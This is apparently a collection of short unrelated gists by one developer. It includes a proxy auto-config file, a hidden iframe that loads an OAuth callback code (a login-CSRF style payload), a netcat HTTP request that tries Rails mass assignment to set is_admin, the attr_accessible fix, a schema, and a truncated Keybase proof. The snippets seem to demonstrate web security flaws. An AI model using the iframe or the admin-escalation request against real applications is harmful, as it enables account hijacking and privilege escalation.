michiel3

function FindProxyForURL(url, host) {
  var site_list = [
    "localhost",
    "127.0.0.1",
    "ci.inverselink.com",
    "payments-production.inverselink.com"
  ];
  
  if (site_list.includes(host)) {
    return "SOCKS5 127.0.0.1:8888";

michiel3

<iframe src="https://vulnerableapp.com/auth/facebook?code=dGhpcyBpcyBub3QgbXkgcGFzc3dvcmQh..." 
style="display:none;"></iframe>

michiel3

root@pentest:~# nc -v localhost 3000
Connection to localhost 3000 port [tcp/hbci] succeeded!
POST /users HTTP/1.1
Host: localhost
Content-Length: 93

user[username]=michiel&user[password]=password&user[email]=info@online24.nl&user[is_admin]=1

michiel3

root@pentest:~# nc -v localhost 3000
Connection to localhost 3000 port [tcp/hbci] succeeded!
POST /users HTTP/1.1
Host: localhost
Content-Length: 76

user[username]=michiel&user[password]=password&user[email]=info@online24.nl

michiel3

class User < ActiveRecord::Base
  attr_accessible :username, :password, :email
end

michiel3

1.8.7-p352 :022 > User.create(:username => "michiel", :password => "password", :email => "info@online24.nl", :is_admin => 1)
ActiveModel::MassAssignmentSecurity::Error: Can't mass-assign protected attributes: is_admin

michiel3

ActiveRecord::Schema.define(:version => 20120306115211) do

  create_table "users", :force => true do |t|
    t.string  "username"
    t.string  "password"
    t.string  "email"
    t.boolean "is_admin"
  end

end

michiel3

Keybase proof

I hereby claim:

• I am michiel3 on github.
• I am michiel (https://keybase.io/michiel) on keybase.
• I have a public key whose fingerprint is 7CAA CE4D A70C 4C8A FE94 A75C 9F46 3C34 FAA0 2F3D

To claim this, I am signing this object: